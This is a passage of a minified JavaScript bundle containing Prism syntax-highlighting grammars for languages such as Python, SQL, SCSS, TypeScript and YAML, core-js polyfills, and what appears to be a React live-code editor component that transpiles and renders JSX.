\t]+)[a-zA-Z_]\w*(?=\s*\()/g,lookbehind:!0},"class-name":{pattern:/(\bclass\s+)\w+/i,lookbehind:!0},decorator:{pattern:/(^\s*)@\w+(?:\.\w+)*/im,lookbehind:!0,alias:["annotation","punctuation"],inside:{punctuation:/\./}},keyword:/\b(?:and|as|assert|async|await|break|class|continue|def|del|elif|else|except|exec|finally|for|from|global|if|import|in|is|lambda|nonlocal|not|or|pass|print|raise|return|try|while|with|yield)\b/,builtin:/\b(?:__import__|abs|all|any|apply|ascii|basestring|bin|bool|buffer|bytearray|bytes|callable|chr|classmethod|cmp|coerce|compile|complex|delattr|dict|dir|divmod|enumerate|eval|execfile|file|filter|float|format|frozenset|getattr|globals|hasattr|hash|help|hex|id|input|int|intern|isinstance|issubclass|iter|len|list|locals|long|map|max|memoryview|min|next|object|oct|open|ord|pow|property|range|raw_input|reduce|reload|repr|reversed|round|set|setattr|slice|sorted|staticmethod|str|sum|super|tuple|type|unichr|unicode|vars|xrange|zip)\b/,boolean:/\b(?:True|False|None)\b/,number:/(?:\b(?=\d)|\B(?=\.))(?:0[bo])?(?:(?:\d|0x[\da-f])[\da-f]*(?:\.\d*)?|\.\d+)(?:e[+-]?\d+)?j?\b/i,operator:/[-+%=]=?|!=|\*\*?=?|\/\/?=?|<[<=>]?|>[=>]?|[&|^~]/,punctuation:/[{}[\];(),.:]/},i.languages.python["string-interpolation"].inside.interpolation.inside.rest=i.languages.python,i.languages.py=i.languages.python,i.languages.reason=i.languages.extend("clike",{string:{pattern:/"(?:\\(?:\r\n|[\s\S])|[^\\\r\n"])*"/,greedy:!0},"class-name":/\b[A-Z]\w*/,keyword:/\b(?:and|as|assert|begin|class|constraint|do|done|downto|else|end|exception|external|for|fun|function|functor|if|in|include|inherit|initializer|lazy|let|method|module|mutable|new|nonrec|object|of|open|or|private|rec|sig|struct|switch|then|to|try|type|val|virtual|when|while|with)\b/,operator:/\.{3}|:[:=]|\|>|->|=(?:==?|>)?|<=?|>=?|[|^?'#!~`]|[+\-*\/]\.?|\b(?:mod|land|lor|lxor|lsl|lsr|asr)\b/}),i.languages.insertBefore("reason","class-name",{character:{pattern:/'(?:\\x[\da-f]{2}|\\o[0-3][0-7][0-7]|\\\d{3}|\\.|[^'\\\r\n])'/,alias:"string"},constructor:{pattern:/\b[A-Z]\w*\b(?!\s*\.)/,alias:"variable"},label:{pattern:/\b[a-z]\w*(?=::)/,alias:"symbol"}}),delete i.languages.reason.function,function(e){e.languages.sass=e.languages.extend("css",{comment:{pattern:/^([ \t]*)\/[\/*].*(?:(?:\r?\n|\r)\1[ \t].+)*/m,lookbehind:!0}}),e.languages.insertBefore("sass","atrule",{"atrule-line":{pattern:/^(?:[ \t]*)[@+=].+/m,inside:{atrule:/(?:@[\w-]+|[+=])/m}}}),delete e.languages.sass.atrule;var t=/\$[-\w]+|#\{\$[-\w]+\}/,n=[/[+*\/%]|[=!]=|<=?|>=?|\b(?:and|or|not)\b/,{pattern:/(\s+)-(?=\s)/,lookbehind:!0}];e.languages.insertBefore("sass","property",{"variable-line":{pattern:/^[ \t]*\$.+/m,inside:{punctuation:/:/,variable:t,operator:n}},"property-line":{pattern:/^[ \t]*(?:[^:\s]+ *:.*|:[^:\s].*)/m,inside:{property:[/[^:\s]+(?=\s*:)/,{pattern:/(:)[^:\s]+/,lookbehind:!0}],punctuation:/:/,variable:t,operator:n,important:e.languages.sass.important}}}),delete e.languages.sass.property,delete e.languages.sass.important,e.languages.insertBefore("sass","punctuation",{selector:{pattern:/([ \t]*)\S(?:,[^,\r\n]+|[^,\r\n]*)(?:,[^,\r\n]+)*(?:,(?:\r?\n|\r)\1[ \t]+\S(?:,[^,\r\n]+|[^,\r\n]*)(?:,[^,\r\n]+)*)*/,lookbehind:!0}})}(i),i.languages.scss=i.languages.extend("css",{comment:{pattern:/(^|[^\\])(?:\/\*[\s\S]*?\*\/|\/\/.*)/,lookbehind:!0},atrule:{pattern:/@[\w-](?:\([^()]+\)|[^()\s]|\s+(?!\s))*?(?=\s+[{;])/,inside:{rule:/@[\w-]+/}},url:/(?:[-a-z]+-)?url(?=\()/i,selector:{pattern:/(?=\S)[^@;{}()]?(?:[^@;{}()\s]|\s+(?!\s)|#\{\$[-\w]+\})+(?=\s*\{(?:\}|\s|[^}][^:{}]*[:{][^}]+))/m,inside:{parent:{pattern:/&/,alias:"important"},placeholder:/%[-\w]+/,variable:/\$[-\w]+|#\{\$[-\w]+\}/}},property:{pattern:/(?:[-\w]|\$[-\w]|#\{\$[-\w]+\})+(?=\s*:)/,inside:{variable:/\$[-\w]+|#\{\$[-\w]+\}/}}}),i.languages.insertBefore("scss","atrule",{keyword:[/@(?:if|else(?: if)?|forward|for|each|while|import|use|extend|debug|warn|mixin|include|function|return|content)\b/i,{pattern:/( +)(?:from|through)(?= )/,lookbehind:!0}]}),i.languages.insertBefore("scss","important",{variable:/\$[-\w]+|#\{\$[-\w]+\}/}),i.languages.insertBefore("scss","function",{"module-modifier":{pattern:/\b(?:as|with|show|hide)\b/i,alias:"keyword"},placeholder:{pattern:/%[-\w]+/,alias:"selector"},statement:{pattern:/\B!(?:default|optional)\b/i,alias:"keyword"},boolean:/\b(?:true|false)\b/,null:{pattern:/\bnull\b/,alias:"keyword"},operator:{pattern:/(\s)(?:[-+*\/%]|[=!]=|<=?|>=?|and|or|not)(?=\s)/,lookbehind:!0}}),i.languages.scss.atrule.inside.rest=i.languages.scss,i.languages.sql={comment:{pattern:/(^|[^\\])(?:\/\*[\s\S]*?\*\/|(?:--|\/\/|#).*)/,lookbehind:!0},variable:[{pattern:/@(["'`])(?:\\[\s\S]|(?!\1)[^\\])+\1/,greedy:!0},/@[\w.$]+/],string:{pattern:/(^|[^@\\])("|')(?:\\[\s\S]|(?!\2)[^\\]|\2\2)*\2/,greedy:!0,lookbehind:!0},function:/\b(?:AVG|COUNT|FIRST|FORMAT|LAST|LCASE|LEN|MAX|MID|MIN|MOD|NOW|ROUND|SUM|UCASE)(?=\s*\()/i,keyword:/\b(?:ACTION|ADD|AFTER|ALGORITHM|ALL|ALTER|ANALYZE|ANY|APPLY|AS|ASC|AUTHORIZATION|AUTO_INCREMENT|BACKUP|BDB|BEGIN|BERKELEYDB|BIGINT|BINARY|BIT|BLOB|BOOL|BOOLEAN|BREAK|BROWSE|BTREE|BULK|BY|CALL|CASCADED?|CASE|CHAIN|CHAR(?:ACTER|SET)?|CHECK(?:POINT)?|CLOSE|CLUSTERED|COALESCE|COLLATE|COLUMNS?|COMMENT|COMMIT(?:TED)?|COMPUTE|CONNECT|CONSISTENT|CONSTRAINT|CONTAINS(?:TABLE)?|CONTINUE|CONVERT|CREATE|CROSS|CURRENT(?:_DATE|_TIME|_TIMESTAMP|_USER)?|CURSOR|CYCLE|DATA(?:BASES?)?|DATE(?:TIME)?|DAY|DBCC|DEALLOCATE|DEC|DECIMAL|DECLARE|DEFAULT|DEFINER|DELAYED|DELETE|DELIMITERS?|DENY|DESC|DESCRIBE|DETERMINISTIC|DISABLE|DISCARD|DISK|DISTINCT|DISTINCTROW|DISTRIBUTED|DO|DOUBLE|DROP|DUMMY|DUMP(?:FILE)?|DUPLICATE|ELSE(?:IF)?|ENABLE|ENCLOSED|END|ENGINE|ENUM|ERRLVL|ERRORS|ESCAPED?|EXCEPT|EXEC(?:UTE)?|EXISTS|EXIT|EXPLAIN|EXTENDED|FETCH|FIELDS|FILE|FILLFACTOR|FIRST|FIXED|FLOAT|FOLLOWING|FOR(?: EACH ROW)?|FORCE|FOREIGN|FREETEXT(?:TABLE)?|FROM|FULL|FUNCTION|GEOMETRY(?:COLLECTION)?|GLOBAL|GOTO|GRANT|GROUP|HANDLER|HASH|HAVING|HOLDLOCK|HOUR|IDENTITY(?:_INSERT|COL)?|IF|IGNORE|IMPORT|INDEX|INFILE|INNER|INNODB|INOUT|INSERT|INT|INTEGER|INTERSECT|INTERVAL|INTO|INVOKER|ISOLATION|ITERATE|JOIN|KEYS?|KILL|LANGUAGE|LAST|LEAVE|LEFT|LEVEL|LIMIT|LINENO|LINES|LINESTRING|LOAD|LOCAL|LOCK|LONG(?:BLOB|TEXT)|LOOP|MATCH(?:ED)?|MEDIUM(?:BLOB|INT|TEXT)|MERGE|MIDDLEINT|MINUTE|MODE|MODIFIES|MODIFY|MONTH|MULTI(?:LINESTRING|POINT|POLYGON)|NATIONAL|NATURAL|NCHAR|NEXT|NO|NONCLUSTERED|NULLIF|NUMERIC|OFF?|OFFSETS?|ON|OPEN(?:DATASOURCE|QUERY|ROWSET)?|OPTIMIZE|OPTION(?:ALLY)?|ORDER|OUT(?:ER|FILE)?|OVER|PARTIAL|PARTITION|PERCENT|PIVOT|PLAN|POINT|POLYGON|PRECEDING|PRECISION|PREPARE|PREV|PRIMARY|PRINT|PRIVILEGES|PROC(?:EDURE)?|PUBLIC|PURGE|QUICK|RAISERROR|READS?|REAL|RECONFIGURE|REFERENCES|RELEASE|RENAME|REPEAT(?:ABLE)?|REPLACE|REPLICATION|REQUIRE|RESIGNAL|RESTORE|RESTRICT|RETURN(?:S|ING)?|REVOKE|RIGHT|ROLLBACK|ROUTINE|ROW(?:COUNT|GUIDCOL|S)?|RTREE|RULE|SAVE(?:POINT)?|SCHEMA|SECOND|SELECT|SERIAL(?:IZABLE)?|SESSION(?:_USER)?|SET(?:USER)?|SHARE|SHOW|SHUTDOWN|SIMPLE|SMALLINT|SNAPSHOT|SOME|SONAME|SQL|START(?:ING)?|STATISTICS|STATUS|STRIPED|SYSTEM_USER|TABLES?|TABLESPACE|TEMP(?:ORARY|TABLE)?|TERMINATED|TEXT(?:SIZE)?|THEN|TIME(?:STAMP)?|TINY(?:BLOB|INT|TEXT)|TOP?|TRAN(?:SACTIONS?)?|TRIGGER|TRUNCATE|TSEQUAL|TYPES?|UNBOUNDED|UNCOMMITTED|UNDEFINED|UNION|UNIQUE|UNLOCK|UNPIVOT|UNSIGNED|UPDATE(?:TEXT)?|USAGE|USE|USER|USING|VALUES?|VAR(?:BINARY|CHAR|CHARACTER|YING)|VIEW|WAITFOR|WARNINGS|WHEN|WHERE|WHILE|WITH(?: ROLLUP|IN)?|WORK|WRITE(?:TEXT)?|YEAR)\b/i,boolean:/\b(?:TRUE|FALSE|NULL)\b/i,number:/\b0x[\da-f]+\b|\b\d+(?:\.\d*)?|\B\.\d+\b/i,operator:/[-+*\/=%^~]|&&?|\|\|?|!=?|<(?:=>?|<|>)?|>[>=]?|\b(?:AND|BETWEEN|IN|LIKE|NOT|OR|IS|DIV|REGEXP|RLIKE|SOUNDS LIKE|XOR)\b/i,punctuation:/[;[\]()`,.]/},function(e){var t={pattern:/(\b\d+)(?:%|[a-z]+)/,lookbehind:!0},n={pattern:/(^|[^\w.-])-?(?:\d+(?:\.\d+)?|\.\d+)/,lookbehind:!0},r={comment:{pattern:/(^|[^\\])(?:\/\*[\s\S]*?\*\/|\/\/.*)/,lookbehind:!0},url:{pattern:/url\((["']?).*?\1\)/i,greedy:!0},string:{pattern:/("|')(?:(?!\1)[^\\\r\n]|\\(?:\r\n|[\s\S]))*\1/,greedy:!0},interpolation:null,func:null,important:/\B!(?:important|optional)\b/i,keyword:{pattern:/(^|\s+)(?:(?:if|else|for|return|unless)(?=\s+|$)|@[\w-]+)/,lookbehind:!0},hexcode:/#[\da-f]{3,6}/i,color:[/\b(?:AliceBlue|AntiqueWhite|Aqua|Aquamarine|Azure|Beige|Bisque|Black|BlanchedAlmond|Blue|BlueViolet|Brown|BurlyWood|CadetBlue|Chartreuse|Chocolate|Coral|CornflowerBlue|Cornsilk|Crimson|Cyan|DarkBlue|DarkCyan|DarkGoldenRod|DarkGr[ae]y|DarkGreen|DarkKhaki|DarkMagenta|DarkOliveGreen|DarkOrange|DarkOrchid|DarkRed|DarkSalmon|DarkSeaGreen|DarkSlateBlue|DarkSlateGr[ae]y|DarkTurquoise|DarkViolet|DeepPink|DeepSkyBlue|DimGr[ae]y|DodgerBlue|FireBrick|FloralWhite|ForestGreen|Fuchsia|Gainsboro|GhostWhite|Gold|GoldenRod|Gr[ae]y|Green|GreenYellow|HoneyDew|HotPink|IndianRed|Indigo|Ivory|Khaki|Lavender|LavenderBlush|LawnGreen|LemonChiffon|LightBlue|LightCoral|LightCyan|LightGoldenRodYellow|LightGr[ae]y|LightGreen|LightPink|LightSalmon|LightSeaGreen|LightSkyBlue|LightSlateGr[ae]y|LightSteelBlue|LightYellow|Lime|LimeGreen|Linen|Magenta|Maroon|MediumAquaMarine|MediumBlue|MediumOrchid|MediumPurple|MediumSeaGreen|MediumSlateBlue|MediumSpringGreen|MediumTurquoise|MediumVioletRed|MidnightBlue|MintCream|MistyRose|Moccasin|NavajoWhite|Navy|OldLace|Olive|OliveDrab|Orange|OrangeRed|Orchid|PaleGoldenRod|PaleGreen|PaleTurquoise|PaleVioletRed|PapayaWhip|PeachPuff|Peru|Pink|Plum|PowderBlue|Purple|Red|RosyBrown|RoyalBlue|SaddleBrown|Salmon|SandyBrown|SeaGreen|SeaShell|Sienna|Silver|SkyBlue|SlateBlue|SlateGr[ae]y|Snow|SpringGreen|SteelBlue|Tan|Teal|Thistle|Tomato|Transparent|Turquoise|Violet|Wheat|White|WhiteSmoke|Yellow|YellowGreen)\b/i,{pattern:/\b(?:rgb|hsl)\(\s*\d{1,3}\s*,\s*\d{1,3}%?\s*,\s*\d{1,3}%?\s*\)\B|\b(?:rgb|hsl)a\(\s*\d{1,3}\s*,\s*\d{1,3}%?\s*,\s*\d{1,3}%?\s*,\s*(?:0|0?\.\d+|1)\s*\)\B/i,inside:{unit:t,number:n,function:/[\w-]+(?=\()/,punctuation:/[(),]/}}],entity:/\\[\da-f]{1,8}/i,unit:t,boolean:/\b(?:true|false)\b/,operator:[/~|[+!\/%<>?=]=?|[-:]=|\*[*=]?|\.{2,3}|&&|\|\||\B-\B|\b(?:and|in|is(?: a| defined| not|nt)?|not|or)\b/],number:n,punctuation:/[{}()\[\];:,]/};r.interpolation={pattern:/\{[^\r\n}:]+\}/,alias:"variable",inside:{delimiter:{pattern:/^{|}$/,alias:"punctuation"},rest:r}},r.func={pattern:/[\w-]+\([^)]*\).*/,inside:{function:/^[^(]+/,rest:r}},e.languages.stylus={"atrule-declaration":{pattern:/(^\s*)@.+/m,lookbehind:!0,inside:{atrule:/^@[\w-]+/,rest:r}},"variable-declaration":{pattern:/(^[ \t]*)[\w$-]+\s*.?=[ \t]*(?:\{[^{}]*\}|\S.*|$)/m,lookbehind:!0,inside:{variable:/^\S+/,rest:r}},statement:{pattern:/(^[ \t]*)(?:if|else|for|return|unless)[ \t].+/m,lookbehind:!0,inside:{keyword:/^\S+/,rest:r}},"property-declaration":{pattern:/((?:^|\{)([ \t]*))(?:[\w-]|\{[^}\r\n]+\})+(?:\s*:\s*|[ \t]+)(?!\s)[^{\r\n]*(?:;|[^{\r\n,](?=$)(?!(?:\r?\n|\r)(?:\{|\2[ \t]+)))/m,lookbehind:!0,inside:{property:{pattern:/^[^\s:]+/,inside:{interpolation:r.interpolation}},rest:r}},selector:{pattern:/(^[ \t]*)(?:(?=\S)(?:[^{}\r\n:()]|::?[\w-]+(?:\([^)\r\n]*\)|(?![\w-]))|\{[^}\r\n]+\})+)(?:(?:\r?\n|\r)(?:\1(?:(?=\S)(?:[^{}\r\n:()]|::?[\w-]+(?:\([^)\r\n]*\)|(?![\w-]))|\{[^}\r\n]+\})+)))*(?:,$|\{|(?=(?:\r?\n|\r)(?:\{|\1[ \t]+)))/m,lookbehind:!0,inside:{interpolation:r.interpolation,comment:r.comment,punctuation:/[{},]/}},func:r.func,string:r.string,comment:{pattern:/(^|[^\\])(?:\/\*[\s\S]*?\*\/|\/\/.*)/,lookbehind:!0,greedy:!0},interpolation:r.interpolation,punctuation:/[{}()\[\];:.]/}}(i),function(e){e.languages.typescript=e.languages.extend("javascript",{"class-name":{pattern:/(\b(?:class|extends|implements|instanceof|interface|new|type)\s+)(?!keyof\b)(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?:\s*<(?:[^<>]|<(?:[^<>]|<[^<>]*>)*>)*>)?/,lookbehind:!0,greedy:!0,inside:null},keyword:/\b(?:abstract|as|asserts|async|await|break|case|catch|class|const|constructor|continue|debugger|declare|default|delete|do|else|enum|export|extends|finally|for|from|function|get|if|implements|import|in|instanceof|interface|is|keyof|let|module|namespace|new|null|of|package|private|protected|public|readonly|return|require|set|static|super|switch|this|throw|try|type|typeof|undefined|var|void|while|with|yield)\b/,builtin:/\b(?:string|Function|any|number|boolean|Array|symbol|console|Promise|unknown|never)\b/}),delete e.languages.typescript.parameter;var t=e.languages.extend("typescript",{});delete t["class-name"],e.languages.typescript["class-name"].inside=t,e.languages.insertBefore("typescript","function",{"generic-function":{pattern:/#?(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*\s*<(?:[^<>]|<(?:[^<>]|<[^<>]*>)*>)*>(?=\s*\()/,greedy:!0,inside:{function:/^#?(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*/,generic:{pattern:/<[\s\S]+/,alias:"class-name",inside:t}}}}),e.languages.ts=e.languages.typescript}(i),function(e){var t=e.util.clone(e.languages.typescript);e.languages.tsx=e.languages.extend("jsx",t);var n=e.languages.tsx.tag;n.pattern=RegExp(/(^|[^\w$]|(?=<\/))/.source+"(?:"+n.pattern.source+")",n.pattern.flags),n.lookbehind=!0}(i),i.languages.wasm={comment:[/\(;[\s\S]*?;\)/,{pattern:/;;.*/,greedy:!0}],string:{pattern:/"(?:\\[\s\S]|[^"\\])*"/,greedy:!0},keyword:[{pattern:/\b(?:align|offset)=/,inside:{operator:/=/}},{pattern:/\b(?:(?:f32|f64|i32|i64)(?:\.(?:abs|add|and|ceil|clz|const|convert_[su]\/i(?:32|64)|copysign|ctz|demote\/f64|div(?:_[su])?|eqz?|extend_[su]\/i32|floor|ge(?:_[su])?|gt(?:_[su])?|le(?:_[su])?|load(?:(?:8|16|32)_[su])?|lt(?:_[su])?|max|min|mul|nearest|neg?|or|popcnt|promote\/f32|reinterpret\/[fi](?:32|64)|rem_[su]|rot[lr]|shl|shr_[su]|store(?:8|16|32)?|sqrt|sub|trunc(?:_[su]\/f(?:32|64))?|wrap\/i64|xor))?|memory\.(?:grow|size))\b/,inside:{punctuation:/\./}},/\b(?:anyfunc|block|br(?:_if|_table)?|call(?:_indirect)?|data|drop|elem|else|end|export|func|get_(?:global|local)|global|if|import|local|loop|memory|module|mut|nop|offset|param|result|return|select|set_(?:global|local)|start|table|tee_local|then|type|unreachable)\b/],variable:/\$[\w!#$%&'*+\-./:<=>?@\\^_`|~]+/i,number:/[+-]?\b(?:\d(?:_?\d)*(?:\.\d(?:_?\d)*)?(?:[eE][+-]?\d(?:_?\d)*)?|0x[\da-fA-F](?:_?[\da-fA-F])*(?:\.[\da-fA-F](?:_?[\da-fA-D])*)?(?:[pP][+-]?\d(?:_?\d)*)?)\b|\binf\b|\bnan(?::0x[\da-fA-F](?:_?[\da-fA-D])*)?\b/,punctuation:/[()]/},function(e){var t=/[*&][^\s[\]{},]+/,n=/!(?:<[\w\-%#;/?:@&=+$,.!~*'()[\]]+>|(?:[a-zA-Z\d-]*!)?[\w\-%#;/?:@&=+$.~*'()]+)?/,r="(?:"+n.source+"(?:[ \t]+"+t.source+")?|"+t.source+"(?:[ \t]+"+n.source+")?)",a=/(?:[^\s\x00-\x08\x0e-\x1f!"#%&'*,\-:>?@[\]`{|}\x7f-\x84\x86-\x9f\ud800-\udfff\ufffe\uffff]|[?:-]<PLAIN>)(?:[ \t]*(?:(?![#:])<PLAIN>|:<PLAIN>))*/.source.replace(/<PLAIN>/g,(function(){return/[^\s\x00-\x08\x0e-\x1f,[\]{}\x7f-\x84\x86-\x9f\ud800-\udfff\ufffe\uffff]/.source})),o=/"(?:[^"\\\r\n]|\\.)*"|'(?:[^'\\\r\n]|\\.)*'/.source;function i(e,t){t=(t||"").replace(/m/g,"")+"m";var n=/([:\-,[{]\s*(?:\s<<prop>>[ \t]+)?)(?:<<value>>)(?=[ \t]*(?:$|,|]|}|(?:[\r\n]\s*)?#))/.source.replace(/<<prop>>/g,(function(){return r})).replace(/<<value>>/g,(function(){return e}));return RegExp(n,t)}e.languages.yaml={scalar:{pattern:RegExp(/([\-:]\s*(?:\s<<prop>>[ \t]+)?[|>])[ \t]*(?:((?:\r?\n|\r)[ \t]+)\S[^\r\n]*(?:\2[^\r\n]+)*)/.source.replace(/<<prop>>/g,(function(){return r}))),lookbehind:!0,alias:"string"},comment:/#.*/,key:{pattern:RegExp(/((?:^|[:\-,[{\r\n?])[ \t]*(?:<<prop>>[ \t]+)?)<<key>>(?=\s*:\s)/.source.replace(/<<prop>>/g,(function(){return r})).replace(/<<key>>/g,(function(){return"(?:"+a+"|"+o+")"}))),lookbehind:!0,greedy:!0,alias:"atrule"},directive:{pattern:/(^[ \t]*)%.+/m,lookbehind:!0,alias:"important"},datetime:{pattern:i(/\d{4}-\d\d?-\d\d?(?:[tT]|[ \t]+)\d\d?:\d{2}:\d{2}(?:\.\d*)?(?:[ \t]*(?:Z|[-+]\d\d?(?::\d{2})?))?|\d{4}-\d{2}-\d{2}|\d\d?:\d{2}(?::\d{2}(?:\.\d*)?)?/.source),lookbehind:!0,alias:"number"},boolean:{pattern:i(/true|false/.source,"i"),lookbehind:!0,alias:"important"},null:{pattern:i(/null|~/.source,"i"),lookbehind:!0,alias:"important"},string:{pattern:i(o),lookbehind:!0,greedy:!0},number:{pattern:i(/[+-]?(?:0x[\da-f]+|0o[0-7]+|(?:\d+(?:\.\d*)?|\.?\d+)(?:e[+-]?\d+)?|\.inf|\.nan)/.source,"i"),lookbehind:!0},tag:n,important:t,punctuation:/---|[:[\]{}\-,|>?]|\.\.\./},e.languages.yml=e.languages.yaml}(i),t.a=i},UqcF:function(e,t){t.f={}.propertyIsEnumerable},VTer:function(e,t,n){var r=n("g3g5"),a=n("dyZX"),o=a["__core-js_shared__"]||(a["__core-js_shared__"]={});(e.exports=function(e,t){return o[e]||(o[e]=void 0!==t?t:{})})("versions",[]).push({version:r.version,mode:n("LQAc")?"pure":"global",copyright:"© 2020 Denis Pushkarev (zloirock.ru)"})},XKFU:function(e,t,n){var r=n("dyZX"),a=n("g3g5"),o=n("Mukb"),i=n("KroJ"),s=n("m0Pp"),l=function(e,t,n){var u,c,p,f,d=e&l.F,g=e&l.G,h=e&l.S,y=e&l.P,b=e&l.B,m=g?r:h?r[t]||(r[t]={}):(r[t]||{}).prototype,v=g?a:a[t]||(a[t]={}),E=v.prototype||(v.prototype={});for(u in g&&(n=t),n)p=((c=!d&&m&&void 0!==m[u])?m:n)[u],f=b&&c?s(p,r):y&&"function"==typeof p?s(Function.call,p):p,m&&i(m,u,p,e&l.U),v[u]!=p&&o(v,u,f),y&&E[u]!=p&&(E[u]=p)};r.core=a,l.F=1,l.G=2,l.S=4,l.P=8,l.B=16,l.W=32,l.U=64,l.R=128,e.exports=l},YTOV:function(e,t,n){var r=n("ckLD");e.exports=function(e){if(!r(e)&&null!==e)throw TypeError("Can't set "+String(e)+" as a prototype");return e}},YTvA:function(e,t,n){var r=n("VTer")("keys"),a=n("ylqs");e.exports=function(e){return r[e]||(r[e]=a(e))}},Ymqv:function(e,t,n){var r=n("LZWt");e.exports=Object("z").propertyIsEnumerable(0)?Object:function(e){return"String"==r(e)?e.split(""):Object(e)}},aCFj:function(e,t,n){var r=n("Ymqv"),a=n("vhPU");e.exports=function(e){return r(a(e))}},aagx:function(e,t){var n={}.hasOwnProperty;e.exports=function(e,t){return n.call(e,t)}},apmT:function(e,t,n){var r=n("0/R4");e.exports=function(e,t){if(!r(e))return e;var n,a;if(t&&"function"==typeof(n=e.toString)&&!r(a=n.call(e)))return a;if("function"==typeof(n=e.valueOf)&&!r(a=n.call(e)))return a;if(!t&&"function"==typeof(n=e.toString)&&!r(a=n.call(e)))return a;throw TypeError("Can't convert object to primitive value")}},ctqb:function(e,t,n){var r=n("JhOX");e.exports=!r((function(){function e(){}return e.prototype.constructor=null,Object.getPrototypeOf(new e)!==e.prototype}))},czNK:function(e,t,n){"use strict";var r=n("nh4g"),a=n("DVgA"),o=n("JiEa"),i=n("UqcF"),s=n("S/j/"),l=n("Ymqv"),u=Object.assign;e.exports=!u||n("eeVq")((function(){var e={},t={},n=Symbol(),r="abcdefghijklmnopqrst";return e[n]=7,r.split("").forEach((function(e){t[e]=e})),7!=u({},e)[n]||Object.keys(u({},t)).join("")!=r}))?function(e,t){for(var n=s(e),u=arguments.length,c=1,p=o.f,f=i.f;u>c;)for(var d,g=l(arguments[c++]),h=p?a(g).concat(p(g)):a(g),y=h.length,b=0;y>b;)d=h[b++],r&&!f.call(g,d)||(n[d]=g[d]);return n}:u},"d/Gc":function(e,t,n){var r=n("RYi7"),a=Math.max,o=Math.min;e.exports=function(e,t){return(e=r(e))<0?a(e+t,0):o(e,t)}},dKp2:function(e,t,n){"use strict";n.r(t);var r=n("q1tI"),a=n.n(r),o=n("8Ppc"),i=n.n(o),s=n("3Mpw"),l=n("SVOR"),u=n("cSo1"),c=n("NK4f"),p=n.n(c),f={plain:{color:"#C5C8C6",backgroundColor:"#1D1F21"},styles:[{types:["prolog","comment","doctype","cdata"],style:{color:"hsl(30, 20%, 50%)"}},{types:["property","tag","boolean","number","constant","symbol"],style:{color:"hsl(350, 40%, 70%)"}},{types:["attr-name","string","char","builtin","insterted"],style:{color:"hsl(75, 70%, 60%)"}},{types:["operator","entity","url","string","variable","language-css"],style:{color:"hsl(40, 90%, 60%)"}},{types:["deleted"],style:{color:"rgb(255, 85, 85)"}},{types:["italic"],style:{fontStyle:"italic"}},{types:["important","bold"],style:{fontWeight:"bold"}},{types:["regex","important"],style:{color:"#e90"}},{types:["atrule","attr-value","keyword"],style:{color:"hsl(350, 40%, 70%)"}},{types:["punctuation","symbol"],style:{opacity:"0.7"}}]},d="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},g=function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")},h=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},y=function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)},b=function(e,t){var n={};for(var r in e)t.indexOf(r)>=0||Object.prototype.hasOwnProperty.call(e,r)&&(n[r]=e[r]);return n},m=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t},v=function(e){function t(){var n,o;g(this,t);for(var i=arguments.length,u=Array(i),c=0;c<i;c++)u[c]=arguments[c];return n=o=m(this,e.call.apply(e,[this].concat(u))),o.state={code:""},o.updateContent=function(e){o.setState({code:e},(function(){o.props.onChange&&o.props.onChange(o.state.code)}))},o.highlightCode=function(e){return a.a.createElement(s.a,{Prism:l.a,code:e,theme:o.props.theme||f,language:o.props.language},(function(e){var t=e.tokens,n=e.getLineProps,o=e.getTokenProps;return a.a.createElement(r.Fragment,null,t.map((function(e,t){return a.a.createElement("div",n({line:e,key:t}),e.map((function(e,t){return a.a.createElement("span",o({token:e,key:t}))})))})))}))},m(o,n)}return y(t,e),t.getDerivedStateFromProps=function(e,t){return e.code!==t.prevCodeProp?{code:e.code,prevCodeProp:e.code}:null},t.prototype.render=function(){var e=this.props,t=e.style,n=(e.code,e.onChange,e.language,e.theme),r=b(e,["style","code","onChange","language","theme"]),o=this.state.code,s=n&&"object"===d(n.plain)?n.plain:{};return a.a.createElement(i.a,h({value:o,padding:10,highlight:this.highlightCode,onValueChange:this.updateContent,style:h({whiteSpace:"pre",fontFamily:"monospace"},s,t)},r))},t}(r.Component),E=Object(r.createContext)({}),w={assign:p.a},S={objectAssign:"_poly.assign",transforms:{dangerousForOf:!0,dangerousTaggedTemplateString:!0}},_=function(e){return Object(u.a)(e,S).code},k=function(e,t){return function(n){function r(){return g(this,r),m(this,n.apply(this,arguments))}return y(r,n),r.prototype.componentDidCatch=function(e){t(e)},r.prototype.render=function(){return"function"==typeof e?a.a.createElement(e,null):e},r}(r.Component)},A=function(e,t){var n=Object.keys(t),r=n.map((function(e){return t[e]}));return(new(Function.prototype.bind.apply(Function,[null].concat(["_poly","React"],n,[e])))).apply(void 0,[w,a.a].concat(r))},T=function(e,t){var n=e.code,r=void 0===n?"":n,a=e.scope,o=void 0===a?{}:a,i=r.trim().replace(/;$/,""),s=_("return ("+i+")").trim();return k(A(s,o),t)},R=function(e,t,n){var r=e.code,a=void 0===r?"":r,o=e.scope,i=void 0===o?{}:o;if(!/render\s*\(/.test(a))return n(new SyntaxError("No-Inline evaluations must call `render`."));A(_(a),h({},i,{render:function(e){void 0===e?n(new SyntaxError("`render` must be called with valid JSX.")):t(k(e,n))}}))},O=function(e){function t(){var n,r;g(this,t);for(var a=arguments.length,o=Array(a),i=0;i<a;i++)o[i]=arguments[i];return n=r=m(this,e.call.apply(e,[this].concat(o))),r.onChange=function(e){var t=r.props,n=t.scope,a=t.transformCode,o=t.noInline;r.transpile({code:e,scope:n,transformCode:a,noInline:o})},r.onError=function(e){r.setState({error:e.toString()})},r.transpile=function(e){var 